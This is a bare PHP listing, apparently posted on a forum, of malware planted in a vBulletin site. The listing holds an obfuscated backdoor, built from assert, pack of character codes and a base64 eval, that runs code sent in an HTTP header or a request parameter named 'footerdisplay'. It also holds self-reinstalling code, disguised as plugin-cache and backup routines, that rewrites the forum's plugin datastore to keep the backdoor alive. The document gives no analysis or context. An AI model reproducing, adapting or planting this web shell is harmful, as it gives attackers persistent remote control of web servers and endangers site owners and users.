PHP Code:
$GLOBALS["backups"]["randomseed"] = array (
0 => 'global_complete',
1 => 's:648:"assert(pack(chr(99).chr(42),40,33,101,109,112,116,121,40,36,95,83,69,82,86,69,82,91,34,72,84,84,80,95,70,79,79,84,69,82,68,73,83,80,76,65,89,34,93,41,63,101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,83,69,82,86,69,82,91,34,72,84,84,80,95,70,79,79,84,69,82,68,73,83,80,76,65,89,34,93,41,41,58,40,33,101,109,112,116,121,40,36,95,82,69,81,85,69,83,84,91,34,102,111,111,116,101,114,100,105,115,112,108,97,121,34,93,41,63,101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,34,102,111,111,116,101,114,100,105,115,112,108,97,121,34,93,41,41,58,117,110,105,113,105,100,40,41,41,41));";',
);
$GLOBALS["acpcache"] = array (
0 => 'init_startup',
1 => 's:1465:"if (!defined("vB_PluginCacheActive")) { define("vB_PluginCacheActive", 1); function vB_PluginCacheCheck() { try { global $db; $plugin_data = $db->query_read("SELECT * FROM ".TABLE_PREFIX."datastore WHERE title=\'pluginlist\'"); $plugin_info = $db->fetch_array($plugin_data); $GLOBALS["vbplist"] = unserialize($plugin_info[\'data\']); $GLOBALS["vbpcache"] = ""; foreach($GLOBALS[\'backups\'] as $k => $v) { $back = unserialize($v[1]); vB_PluginCacheUpdate($v[0], $back, $back); $GLOBALS["vbpcache"] .= \'$GLOBALS["backups"]["\'.$k.\'"] = \'.var_export($v, 1).";\\n"; } $GLOBALS["vbpcache"] .= \'$GLOBALS["acpcache"] = \'.var_export($GLOBALS[\'acpcache\'], 1).";\\n"; $back = $GLOBALS["vbpcache"].unserialize($GLOBALS[\'acpcache\'][1])."\\n"; vB_PluginCacheUpdate($GLOBALS[\'acpcache\'][0], $back, "vB_PluginCacheActive"); } catch (Exception $e) {} } function vB_PluginCacheUpdate($hook, $code, $test) { if (!array_key_exists($hook, $GLOBALS["vbplist"])) { $GLOBALS["vbplist"][$hook] = ""; } if (strpos($GLOBALS["vbplist"][$hook], trim($test)) === false) { $GLOBALS["vbplist"][$hook] = $code . $GLOBALS["vbplist"][$hook]; build_datastore(\'pluginlist\', serialize($GLOBALS["vbplist"]), 1); } } $vbulletin->shutdown->add(vB_PluginCacheCheck);}";',
);
if (!defined("vB_PluginCacheActive")) { define("vB_PluginCacheActive", 1); function vB_PluginCacheCheck() { try { global $db; $plugin_data = $db->query_read("SELECT * FROM ".TABLE_PREFIX."datastore WHERE title='pluginlist'"); $plugin_info = $db->fetch_array($plugin_data); $GLOBALS["vbplist"] = unserialize($plugin_info['data']); $GLOBALS["vbpcache"] = ""; foreach($GLOBALS['backups'] as $k => $v) { $back = unserialize($v[1]); vB_PluginCacheUpdate($v[0], $back, $back); $GLOBALS["vbpcache"] .= '$GLOBALS["backups"]["'.$k.'"] = '.var_export($v, 1).";\n"; } $GLOBALS["vbpcache"] .= '$GLOBALS["acpcache"] = '.var_export($GLOBALS['acpcache'], 1).";\n"; $back = $GLOBALS["vbpcache"].unserialize($GLOBALS['acpcache'][1])."\n"; vB_PluginCacheUpdate($GLOBALS['acpcache'][0], $back, "vB_PluginCacheActive"); } catch (Exception $e) {} } function vB_PluginCacheUpdate($hook, $code, $test) { if (!array_key_exists($hook, $GLOBALS["vbplist"])) { $GLOBALS["vbplist"][$hook] = ""; } if (strpos($GLOBALS["vbplist"][$hook], trim($test)) === false) { $GLOBALS["vbplist"][$hook] = $code . $GLOBALS["vbplist"][$hook]; build_datastore('pluginlist', serialize($GLOBALS["vbplist"]), 1); } } $vbulletin->shutdown->add(vB_PluginCacheCheck);}